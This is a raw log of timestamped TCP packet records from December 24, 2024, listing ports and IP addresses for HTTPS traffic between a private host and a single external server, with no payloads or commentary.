Dec 24, 2024 19:28:39.837785006 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.837908030 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.837919950 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.837933064 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.837944984 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.838049889 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.838063002 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.838076115 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.838222027 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.839766026 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.850018978 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.850101948 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.850115061 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.850203037 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.850214005 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.856770039 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.994482994 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.003916025 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.003966093 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.004055023 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.004071951 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.004085064 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.004153967 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.004163980 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.004282951 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.004352093 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.004378080 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.004390955 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.004626989 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.006128073 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.014221907 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.014270067 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.014281034 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.014391899 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.018867016 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.070694923 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.078377008 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.078658104 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.078664064 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.078777075 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.078948975 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.080028057 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.080038071 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.080069065 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.080127001 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.080137014 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.080147028 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.080332994 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.080976963 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.098236084 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.131766081 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.148200989 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.154268026 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.154277086 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.154402971 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.154449940 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.154460907 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.154536009 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.154553890 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.154582977 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.154594898 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.154603958 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.154762030 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.154772997 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.154782057 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.154927969 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.228903055 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.229041100 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.229167938 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.229242086 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.229381084 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.229475021 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.229572058 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.229652882 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.229862928 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.230153084 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.230216026 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.231590986 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.231741905 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.231765032 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.231775999 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.231786966 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.231798887 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.231933117 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.231945038 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.231956005 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.231967926 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.231978893 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.232599974 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.238039017 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.240174055 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.256727934 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.256803036 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.256932974 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.256944895 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.256961107 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.257256031 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.260541916 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.268230915 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.268277884 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.268317938 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.268547058 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.268827915 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.268927097 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.272799015 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.338763952 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.411741972 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.421080112 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.421396017 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.421443939 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.421590090 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.421629906 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.421641111 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.421766996 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.421777010 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.421786070 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.421798944 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.421896935 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.421914101 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.422580957 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.436256886 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.436286926 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.439816952 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.677515984 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.793931961 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.890938997 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.890974998 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.891045094 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.891172886 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.895556927 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.902805090 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.903121948 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.903146982 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.903162003 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.903296947 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.903311014 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.903336048 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.903352976 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.903361082 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.903418064 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.903431892 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.907376051 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.910520077 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.910751104 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.910938978 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.911057949 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.911112070 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.911127090 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.911406994 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.911422968 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.911437035 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.917308092 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.917489052 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.917680025 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.917695045 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.919667006 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.922251940 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.922590971 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.922724009 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.922740936 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.922785044 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.922801018 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.922817945 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.922835112 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.922904968 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.922919989 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.922936916 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.947114944 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.947343111 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:40.954222918 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.954252958 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.991309881 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.991364002 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.991375923 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.991389036 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.991439104 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.991451979 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.991462946 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.991476059 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.991574049 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.991585016 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:40.994707108 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.021358013 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.021596909 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.022989035 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.023009062 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.023103952 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.023123026 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.023138046 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.023200035 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.023279905 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.023294926 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.023320913 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.023338079 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.023354053 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.023463964 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.023663044 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.051486015 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.054630995 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.054675102 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.054693937 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.054796934 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.054812908 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.054828882 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.054847002 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.054864883 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.082457066 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.102660894 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.132802010 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.222224951 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.230859041 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.230945110 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.230989933 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.231003046 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.231439114 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.240462065 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.255338907 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.291234016 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.338478088 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.376981974 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.379482031 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.379806995 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.379815102 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.379865885 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.379877090 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.379914045 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.400418997 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.437736988 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.441984892 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.442048073 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.442161083 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.442179918 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.442203999 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.449177027 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.457931995 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.457966089 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.458138943 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.458154917 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.458312988 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.469774008 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.516995907 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.570836067 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.574263096 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.581984997 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.582045078 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.582055092 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.582089901 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.582504988 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.608295918 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.716383934 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.722282887 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.722398996 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.722500086 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.722547054 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.722635984 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.722779989 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.722790956 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.722803116 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.722975016 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.723021030 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.723032951 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.723045111 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.723216057 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.732722998 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.732789040 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.732800961 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.732824087 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.749353886 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.784483910 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.803796053 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.831650972 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.841273069 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.841347933 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.841373920 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.841384888 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.841464996 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.841474056 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.841526985 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.871548891 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.887813091 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.918414116 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.922604084 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.954823017 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.954921961 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.955028057 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.955039978 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.955049992 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:41.955096960 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.955203056 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.955250025 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:41.968952894 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.063682079 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.065244913 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.072988987 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.073066950 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.073199987 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.073210955 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.073224068 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.073285103 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.073297024 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.073375940 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.073410988 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.073422909 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.073435068 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.073502064 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.073800087 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.083456039 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.083555937 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.083770037 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.083862066 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.083873987 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.084047079 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.084059954 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.084134102 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.084145069 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.084157944 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.084908009 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.096059084 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.096096992 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.096108913 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.096190929 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.096226931 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.096240044 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.096360922 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.096380949 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.096393108 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.096405029 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.096647978 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.107821941 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.107884884 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.107897043 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.107937098 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.107949972 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.107961893 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.108061075 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.108222961 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.108234882 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.108247995 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.108902931 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.117585897 CET	443	54108	23.209.72.39	192.168.2.6
